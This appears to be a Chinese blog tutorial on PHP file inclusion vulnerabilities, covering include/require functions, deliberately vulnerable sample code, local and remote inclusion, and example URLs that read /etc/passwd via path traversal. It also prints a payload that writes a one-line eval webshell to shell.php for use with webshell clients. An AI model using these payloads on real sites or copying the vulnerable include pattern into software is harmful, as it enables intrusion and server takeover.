文章详情
文件包含漏洞的原理解析
一、什么是文件包含?
服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。
二、文件包含函数
PHP中文件包含函数有以下四种
require() require_once() include() include_once()
三、漏洞产生的原因
文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。
例:
<?php $filename = $_GET['filename']; include($filename); ?>
$_GET['filename']参数开发者没有经过严格的过滤,直接带入了include的函数,攻击者可以修改
$_GET['filename']的值,执行非预期的操作。
四、本地文件包含漏洞
以下代码是最简单的一个文件包含示例,程序没有对要包含的文件进行验证,导致可控。
<?php $file = $_GET['file']; if(isset($file)){ include("$file"); }else{ echo "file fail"; } ?>
内容输出如下图:
这样的代码过于危险,可以轻易的得到账号和密码,所以很少有人这么写,但有些防护措施是很差的。
五、远程文件包含漏洞
1.包含读出目标机上其它文件
由前面我们可以看到,由于对取得的参数page没有过滤,于是我们可以任意指定目标主机上的其它敏感文件,例如在前面的警告中,我们可以看到暴露的绝对路径(vhost/wwwroot/php/),那么我们就可以多次探测来包含其它文件,比如指定URL为:http://hi.baidu.com/m4r10/php/index.php?page=./txt.txt可以读出当前路径下的txt.txt文件,也可以使用…/…/进行目录跳转(在没过滤…/的情况下);也可以直接指定绝对路径,读取敏感的系统文件,比如这个URL:http://hi.baidu.com/m4r10/php/index.php?page=/etc/passwd,如果目标主机没有对权限限制的很严格,或者启动Apache的权限比较高,是可以读出这个文件内容的。
2.远程文件包含可运行的PHP木马
如果POST的数据是执行写入一句话木马的PHP代码,就会在当前目录下写入一个木马。
<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
下面就可以用菜刀或者是蚁剑了。
上一文章:批量文件夹名称前面加指定字符
下一文章:什么是XXE漏洞?XXE漏洞原理分析
相关推荐
- 02-10nt是什么意思?骂人网络用语吗
- 04-18黑客自学书籍手册,黑客零基础入门书籍推荐,
- 01-14寒假直播课来啦!一个月快速入门
- 07-180基础逆袭大神,学这些就够了!
- 05-11警方通报女子占座致航班滑回(霸座占座行为何
- 05-24电脑硬件的维护与清洁!
- 10-08黑客通过KaliLinux设置一个钓鱼网站原来这么
- 09-09批量文件夹名称前面加指定字符
- 01-12web渗透需要哪些知识?
- 12-04利用某logCMS的代码审计:越权到后台getshel
- 03-19阈值和阀值的区别是什么?怎么读
- 06-10如何利用 CloudFlare 为网站进行加速?
- 03-29如何成为一名黑客?怎么从0开始学黑客
- 06-04手机怎么刷过新系统?